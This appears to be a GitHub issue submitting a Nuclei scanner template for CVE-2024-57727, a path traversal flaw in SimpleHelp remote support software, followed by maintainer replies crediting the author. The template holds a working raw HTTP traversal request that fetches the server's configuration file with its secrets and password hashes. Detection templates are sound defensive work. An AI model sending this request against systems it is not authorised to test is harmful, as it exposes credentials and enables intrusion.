Create CVE-2024-57727

[3th1cyuk1]

Is there an existing template for this?

• I have searched the existing templates.

Nuclei Template

id: CVE-2024-57727

info:
  name: SimpleHelp Path Traversal Vulnerability
  author: 3th1c_yuk1
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57727
    - https://github.com/imjdl/CVE-2024-57727
    - https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
    - https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
    
http:
  - raw:
      - |
        GET /toolbox-resource/../resource1/../../configuration/serverconfig.xml HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Connection: keep-alive

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "SimpleHelp Server XML Configuration File"
        condition: and

Relevant dumped responses

Anything else?

No response

[GeorginaReeder]

Thanks for your contribution @3th1cyuk1 ! :)

[DhiyaneshGeek]

Hi @DhiyaneshGeek

We have created this template internally by the research team

so we are closing this issue

Thanks

[DhiyaneshGeek]

Hi @3th1cyuk1

we have added your name as author 11514, since you were the first person to raise issue

Thanks for sharing this template with the community 😄

[princechaddha]

@3th1cyuk1 Since you created this template first and raised the issue for it, we have added your name as the author in the template. Thank you for your contribution! We look forward to more contributions from you. Thanks again!